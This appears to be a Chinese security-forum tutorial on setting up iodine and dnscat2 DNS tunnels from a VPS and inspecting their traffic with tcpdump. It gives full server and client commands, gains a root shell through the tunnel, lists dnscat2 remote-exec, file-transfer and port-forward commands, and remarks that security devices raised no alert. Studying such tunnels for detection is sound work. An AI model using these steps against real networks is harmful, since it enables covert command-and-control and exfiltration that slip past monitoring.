DNS隧道流量分析

打印 上一主题 下一主题

主题 561|帖子 561|积分 1683

1.域名准备
选择哪家的云都没问题,国内云需要实名,不建议使用,这里我选择的TX云,因为之前注册过了,自己拿来做个流量分析不成问题
域名添加解析记录

需要准备自己的vps作为DNS隧道的服务端,且需要添加ns记录
[img=720,129.45812807881774]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306011352391.png[/img]
2.iodined搭建

关闭53端口关闭开机自启
  1. systemctl stop systemd-resolved
  2. systemctl disable systemd-resolved
复制代码

之后53端口已关闭
启动服务端
  1. iodined -f -c -P 1qaz@WSX 192.168.100.1 ns.xxx.xyz -DD
复制代码
参数说明
  1. -f:在前台运行
  2. -c:禁止检查所有传入请求的客户端IP地址。
  3. -P:客户端和服务端之间用于验证身份的密码。
  4. -D:指定调试级别,-DD指第二级。“D”的数量随级别增加。
复制代码
[img=720,138.70967741935485]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306011352394.png[/img]
客户端
  1. iodine -f -P 1qaz@WSX ns.aligoogle.xyz -M 200
复制代码
[img=720,164.62311557788945]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306011359255.png[/img]
客户端连接正常,且服务端显示客户端连接成功
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
[img=720,148.8352570828961]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306011352395.png[/img]
查看客户端网卡,因为配置的时候一直不太稳定,所以这里服务端分配的虚拟网卡我更换为了192.168.121.1
[img=720,456.56470588235294]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306011352396.png[/img]
测试隧道是否通信

延时比较高,也不稳定。
通过隧道连接目标主机
ssh -p 2222 root@192.168.121.2
这里我换ssh的端口了
但是发现安全设备在连接高危端口的时候无告警
3.流量分析

抓取dns0网卡的流量
tcpdump -i dns0 port 53 -w file.pcap
参数-i 指定网卡, port 指定端口,DNS使用53端口,-w 写入文件。
查看日志发现所有的流量都是DNS日志,但是目的都为自己的VPS
[img=720,240.68571428571428]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306011352398.png[/img]
其实能够根据流量特征识别工具类型。

4.试错

本来我是想使用穿透工具通过隧道穿透的,这里使用nps做隧道走socks,想走虚拟网卡需要修改nps配置文件
  1. ./npc -server=192.168.120.1:63323 -vkey=n4jg3lrvg19qlqth -type=tcp
复制代码
查看nps上线后,需要做端口转发,不做端口转发无法直接使用虚拟地址的隧道,这里其实没有这么走的意义
但是这里发现行不通,参考了一些文章,发现某位师傅写的有点儿问题,这里大可不必,没有所谓的套层+转口转发,单一走隧道都不稳定以及卡的要死,怎么玩儿套娃。
5. dnscat2搭建

安装准备
  1. git clone https://github.com/iagox86/dnscat2.git
  2. cd dnscat2/server/
  3. curl -sSL https://get.rvm.io | bash
  4. source /etc/profile.d/rvm.sh
  5. rvm install 2.6.0
  6. source /etc/profile.d/rvm.sh
  7. rvm use 2.6.0
  8. gem install bundler
复制代码
[img=720,235.77261809447558]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306011352399.png[/img]
  1. bundle install
  2. ruby ./dnscat2.rb
复制代码
[img=720,447.10659898477155]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306011352400.png[/img]
需要注意这里开放vps的53的udp端口
  1. firewall-cmd --zone=public --add-port=53/udp --permanent
  2. firewall-cmd --reload
复制代码
国内服务器TX云的话需要更换源,下载文件需要kexue上网,境内下载tools找不到服务
客户端
  1. git clone https://github.com/iagox86/dnscat2.git
  2. cd dnscat2/client/
  3. make
  4. ./dnscat --dns server=IP,port=53 --secret=f361f307f523b07352d0bab1b765a888    //直连模式
  5. ./dnscat --dns server=ling.domain --secret=1qaz2wsx             //中继模式
复制代码
直连模式

Server:
[img=720,412.327868852459]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306011352401.png[/img]
Client:
[img=720,218.58267716535434]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306011352402.png[/img]
中继模式
  1. ruby ./dnscat2.rb ns.domain -e open -c 1qaz2wsx --no-cache
复制代码
[img=720,255.25083612040135]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306011359257.png[/img]
客户端
  1. ./dnscat --dns domain=ling.domain --secret=1qaz2wsx  
  2. ./dnscat --dns server=www.domain --secret=1qaz2wsx  
复制代码
[img=720,150.23622047244095]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306011352403.png[/img]
[img=720,222.28187919463087]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306011352404.png[/img]
服务端命令
  1. sessions 列出所有session
  2. session -i 2 进入session 2
  3. shell:创建交互式shell
  4. suspend:返回上一层
  5. exit:退出
  6. clear(清屏)
  7. delay(修改远程会话超时时间)
  8. exec(执行远程机上的程序)
  9. shell(得到一个反弹shell,此处必须在1::command(kali)中使用)
  10. download/upload(两端之间上传下载文件)
  11. listen <本地端口> <控制端IP/127.0.0.1>:<端口>(端口转发,此处)(此处必须在1::command(kali)中使用)
复制代码
  1. dnscat2> session -i 1
  2. New window created: 1
  3. history_size (session) => 1000
  4. Session 1 Security: ENCRYPTED AND VERIFIED!
  5. (the security depends on the strength of your pre-shared secret!)
  6. This is a command session!
  7. That means you can enter a dnscat2 command such as
  8. 'ping'! For a full list of clients, try 'help'.
  9. command (ubuntu) 1> whoami
  10. Error: Unknown command: whoami
  11. command (ubuntu) 1> shell
  12. Sent request to execute a shell
  13. command (ubuntu) 1> New window created: 2
  14. Shell session created!
  15. whoami
  16. Error: Unknown command: whoami
  17. command (ubuntu) 1> session -i 2
  18. New window created: 2
  19. history_size (session) => 1000
  20. Session 2 Security: ENCRYPTED AND VERIFIED!
  21. (the security depends on the strength of your pre-shared secret!)
  22. This is a console session!
  23. That means that anything you type will be sent as-is to the
  24. client, and anything they type will be displayed as-is on the
  25. screen! If the client is executing a command and you don't
  26. see a prompt, try typing 'pwd' or something!
  27. To go back, type ctrl-z.
  28. sh (ubuntu) 2> whoami
  29. sh (ubuntu) 2> root
复制代码
[img=720,479.5815170008718]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306011352405.png[/img]
  1. tcpdump -i dns0 port 53 -w file.pcap
复制代码

[img=720,194.75409836065575]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306011352407.png[/img]
流量包内的数据内容
[img=720,279.06040268456377]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202306011352408.png[/img]
请求包和回包区别不大,在返回包多了域名的信息的TXT记录加密传输信息,可以看到DNS的查询请求的域名信息前的一串数据,里面就是加密过后的交互数据。
6 其它工具

跟工具关系不大,隧道的话DNS只要ip和域名没标签,其实走的都是udp的协议,所以在安全设备上都是流量数据,其类似的工具有dns2tcp等,但是总体来讲该隧道比较慢不稳定,比较慢且传输不支持大流量传输。
更多网安技能的在线实操练习,请点击这里>>
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

吴旭华

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表